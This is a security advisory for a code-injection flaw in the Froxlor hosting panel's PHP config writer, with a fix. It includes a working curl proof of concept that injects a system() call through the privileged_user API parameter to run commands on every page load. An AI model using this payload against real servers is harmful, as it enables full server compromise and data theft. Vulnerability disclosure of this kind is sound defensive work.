CVE-2026-41229

Description

## Summary `PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. ## Details The root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`: ```php // lib/Froxlor/PhpHelper.php:475-487 foreach ($array as $key => $value) { if (!is_array($value)) { if (is_bool($value)) { $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false')); } elseif (is_int($value)) { $str .= self::tabPrefix($depth, "'{$key}' => $value,\n"); } else { if ($key == 'password') { // special case for passwords (nowdoc) $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n"); } else { // VULNERABLE: $value interpolated without escaping single quotes $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n"); } } } } ``` Note that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including `user`, `caption`, and `caFile` — are written directly into single-quoted PHP string literals with no escaping. The attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`): 1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings` 2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied 3. `mysql_ca` is also read with no validation at line 86 4. The values are placed into the `$sql_root` array at lines 150-160 5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` → `parseArrayToString()` 6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548) 7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed The generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`: ```php require Froxlor::getInstallDir() . "/lib/userdata.inc.php"; ``` The `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387. ## PoC **Step 1: Inject PHP code via MysqlServer.add API** ```bash curl -s -X POST https://froxlor.example/api.php \ -u 'ADMIN_APIKEY:ADMIN_APISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "MysqlServer.add", "params": { "mysql_host": "127.0.0.1", "mysql_port": 3306, "privileged_user": "x'\''.system(\"id\").'\''", "privileged_password": "anything", "description": "test", "test_connection": 0 } }' ``` This writes the following into `lib/userdata.inc.php`: ```php 'user' => 'x'.system("id").'', ``` **Step 2: Trigger code execution** Any subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system("id")` as the web server user: ```bash curl -s https://froxlor.example/ ``` The `id` output will appear in the response (or can be captured via out-of-band methods for blind execution). **Step 3: Cleanup (attacker would also clean up)** The injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed. ## Impact An admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system: - **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`) - **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys - **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php` - **Persistent backdoor**: The injected code executes on every request, providing persistent access - **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel The `description` field (validated with `REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path. ## Recommended Fix Escape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\'` and `\\` are interpreted, so both must be escaped: ```php // lib/Froxlor/PhpHelper.php:486 // Before (vulnerable): $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n"); // After (fixed) - escape backslashes first, then single quotes: $escaped = str_replace(['\\', "'"], ['\\\\', "\\'"], $value); $str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n"); ``` Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety: ```php // Apply nowdoc to all string values, not just passwords: $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n"); ``` Additionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.